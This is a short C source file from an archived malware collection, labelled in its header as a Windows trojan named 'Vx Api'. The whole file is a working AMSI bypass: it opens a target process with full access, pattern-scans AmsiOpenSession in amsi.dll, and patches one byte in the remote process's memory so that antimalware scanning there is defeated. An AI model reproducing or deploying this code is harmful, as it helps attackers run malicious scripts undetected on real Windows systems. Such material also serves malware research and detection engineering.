/*  name      Vx Api  type      trojan  cve       —  year      unknown  os        Windows  authors   unknown  source    krisyotam  archived  krisyotam (2026)  notes     — */#include "Win32Helper.h" typedef HRESULT(WINAPI* AMSIOPENSESSION)(HAMSICONTEXT, HAMSISESSION*); BYTE AmsiPattern[] = { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74 };UCHAR AmsiPatch[] = { 0xeb }; ULONGLONG UnusedSubroutineSearchAmsiPattern(PBYTE Address, DWORD Size, PBYTE Pattern, DWORD PatternSize){	for (DWORD dwX = 0; dwX < 1024; dwX++)	{		if (Address[dwX] == Pattern[0])		{			DWORD dwOffset = 1;			while (dwOffset < PatternSize && dwX + dwOffset < Size && (Pattern[dwOffset] == '?' || Address[dwX + dwOffset] == Pattern[dwOffset]))			{				dwOffset++;			} 			if (dwOffset == PatternSize)				return (ULONGLONG)(dwX + 3);		}	} 	return 0;} BOOL AmsiBypassViaPatternScan(_In_ DWORD ProcessId){	HANDLE hProcess = NULL;	HMODULE hMod = NULL;	BOOL bFlag = FALSE;	AMSIOPENSESSION pfnAmsiOpenSession = NULL;	BYTE AmsiBuffer[1024] = { 0 };	ULONGLONG AmsiAddress = 0LL, PatchedAmsiAddress = 0LL;			hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);	if (hProcess == NULL)		goto EXIT_ROUTINE; 	hMod = LoadLibraryW(L"amsi.dll");	if (hMod == NULL)		goto EXIT_ROUTINE; 	pfnAmsiOpenSession = (AMSIOPENSESSION)GetProcAddressA((DWORD64)hMod, "AmsiOpenSession");	if (!pfnAmsiOpenSession)		goto EXIT_ROUTINE; 	if (!ReadProcessMemory(hProcess, pfnAmsiOpenSession, &AmsiBuffer, 1024, NULL))		goto EXIT_ROUTINE; 	AmsiAddress = UnusedSubroutineSearchAmsiPattern(AmsiBuffer, sizeof(AmsiBuffer), AmsiPattern, sizeof(AmsiPattern));	if (AmsiAddress == 0)		goto EXIT_ROUTINE; 	PatchedAmsiAddress = (ULONGLONG)pfnAmsiOpenSession;	PatchedAmsiAddress += AmsiAddress; 	if (!WriteProcessMemory(hProcess, (LPVOID)PatchedAmsiAddress, AmsiPatch, 1, NULL))		goto EXIT_ROUTINE; 	bFlag = TRUE; EXIT_ROUTINE: 	if (hProcess)		CloseHandle(hProcess); 	return bFlag;}